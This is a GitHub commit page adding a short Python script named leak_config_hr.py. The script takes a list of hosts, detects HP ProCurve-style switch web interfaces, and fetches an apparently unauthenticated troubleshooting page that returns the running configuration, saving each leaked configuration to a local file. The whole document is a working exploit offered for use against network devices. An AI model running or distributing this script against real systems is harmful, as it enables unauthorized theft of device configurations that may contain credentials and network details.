Skip to content

Commit 466cbe2

Browse files
authored
Create leak_config_hr.py
1 parent 68d71a2 commit 466cbe2

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

procurvy/leak_config_hr.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#!/usr/bin/env python
2+
from __future__ import print_function
3+
import sys
4+
import requests
5+
import urlparse
6+
7+
def main(args):
8+
for host in args:
9+
if host[:4] != 'http':
10+
host = 'http://' + host
11+
if host[-1] != '/':
12+
host = host + '/'
13+
print(host)
14+
sess = requests.Session()
15+
resp = sess.get(host)
16+
if resp.status_code == 200 and 'nhome.html' in resp.text:
17+
resp = sess.get(host + 'html/trbl_confReportTxt.html')
18+
if 'Running configuration' in resp.text:
19+
domain = host.split('/')[2]
20+
print("SUCCESS for", domain)
21+
22+
with open(domain + ".config.txt", "w") as handle:
23+
handle.write(resp.text)
24+
25+
if __name__ == "__main__":
26+
main(sys.argv[1:])

0 commit comments

Comments
 (0)